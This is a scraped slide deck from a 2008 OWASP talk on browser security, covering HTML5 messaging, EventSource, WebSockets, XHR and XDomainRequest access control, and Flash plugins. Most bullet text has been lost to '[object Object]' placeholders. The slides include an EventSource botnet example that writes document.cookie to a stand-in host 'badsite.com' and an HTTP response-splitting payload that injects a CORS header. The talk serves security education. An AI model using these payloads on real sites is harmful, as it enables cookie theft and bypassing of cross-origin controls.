Browser Security

OWASP – Browser Security Roberto Suggi Liverani Security Consultant Security-Assessment.com 3 September 2008

Who am I? ,[object Object],[object Object],[object Object],[object Object]

Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

Introduction ,[object Object],[object Object]

Introduction ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

Next Challenges ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

HMTL5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],y.hello.com x.hello.com XSS Injection document.domain = hello.com Communication between 2 subdomains through XSS

HTML5 ,[object Object],[object Object],[object Object],[object Object],Malicious Third party 3.COM (b) Iframe injection src=2.COM 1.COM (vulnerable) Cross Context Scripting between 2.COM and 3.COM (a) Injection in 1.COM of document.open pointing to 3.COM

HTML5 ,[object Object],[object Object],[object Object],A.COM B.COM ,[object Object],[object Object],Test.foo served as text/foo redirection to: http://a.com/foo?url=b.com/test.foo

HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object]

HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],A.COM B.COM var o = document.getElementsByTagName('iframe')[0]; o.contentWindow.postMessage('Hello world', 'http://b.com/'); NOTE: this condition can be omitted or = *

HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],<eventsource> data: http://www.google.com/news/1 data: http://www.yahoo/com/news/3 data: http://bbc.co.uk/news/2 EventStream PULLS

HTML5 ,[object Object],BOTNET badsite.com/evil.php ,[object Object],[object Object],Data Stream (MIME: text/event-stream) Data: wait(); Data: wait(); Data: document.write(<img src=‘http://badsite.com/’+document.cookie); Botnet operates following XHR access control for data exchange

HTML5 ,[object Object],[object Object],Client at 123.com Server at aa.com GET ws://aa.com/ HTTP/1.1 Upgrade: WebSocket Connection: Upgrade Host: 123.com Origin: http://123.com Authorization: Basic d2FsbGU6ZXZl HTTP/1.1 101 Web Socket Protocol Handshake Upgrade: WebSocket Connection: Upgrade WebSocket-Origin: http://aa.com WebSocket-Location: ws://aa.com:80/ Data Framing Read/send data byte per byte Data Framing Send/read raw UTF8 data byte per byte Close TCP/IP connection – no handshake Close TCP/IP connection – no handshake

WebApps (XHR) ,[object Object],Resource: aaa.com/test.txt Client: bbb.com JavaScript + XHR: new client = new XMLHttpRequest(); client.open("GET or POST", "http://aaa.com/test.txt") client.onreadystatechange = function() { /* do something */ } client.send() HTTP Response: Access-Control-Allow-Origin: http://bbb.com Hello World! GET NOTE: the entire access control system relies on HTTP headers So what happens with an HTTP Splitting Attack? JavaScript + XHR: new client = new XMLHttpRequest(); client.open("GET or POST", "http://aaa.com/test.txt %0A%0DAccess-Control-Allow-Origin: http://bbb.com%0a%0d%0a%0d ") client.onreadystatechange = function() { /* do something */ } client.send()

WebApps (XHR) ,[object Object],Resource: aaa.com/test.txt Client: bbb.com JavaScript + XHR: new client = new XMLHttpRequest(); client.open(“OPTIONS", "http://aaa.com/test.txt") client.onreadystatechange = function() { /* do something */ } client.send() HTTP Response: Access-Control-Allow-Origin: http://bbb.com Access-Control-Max-Age: 3628800 Preflight Request: OPTIONS JavaScript + XHR: new client = new XMLHttpRequest(); client.open(“DELETE", "http://aaa.com/test.txt") client.onreadystatechange = function() { /* do something */ } client.send() DELETE NOTE: the entire access control system relies on HTTP headers

XHR Alternative – XDR (Xdomain Request) ,[object Object],Resource: aaa.com/xdr.txt Client: bbb.com JavaScript + XDR: xdr = new XDomainRequest(); xdr.open(“GET", “http://www.aaa.com/xdr.txt") HTTP Response: XDomainRequestAllowed=1 Hello! GET HTTP Request: GET /xdr.txt XDomainRequest: 1 Host: bbb.com NOTE: the entire XDR relies on HTTP headers

Browser Plugins ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

Browser Plugins ,[object Object],[object Object],[object Object],test.addEventListener(MouseEvent.CLICK, downloadFile); var fileRef:FileReference = new FileReference(); function downloadFile(event:MouseEvent):void { fileRef.download(new URLRequest("http://www.aaa.com/file.html"), “file.html"); }

OWASP Intrinsic Group ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

Questions? ,[object Object],[object Object],[object Object]

References ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

References ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

Browser Security

Recomendados

Recomendados

Más contenido relacionado

La actualidad más candente

La actualidad más candente (20)

Destacado

Destacado (20)

Similar a Browser Security

Similar a Browser Security (20)

Más de Roberto Suggi Liverani

Más de Roberto Suggi Liverani (13)

Último

Último (20)

Browser Security

Notas del editor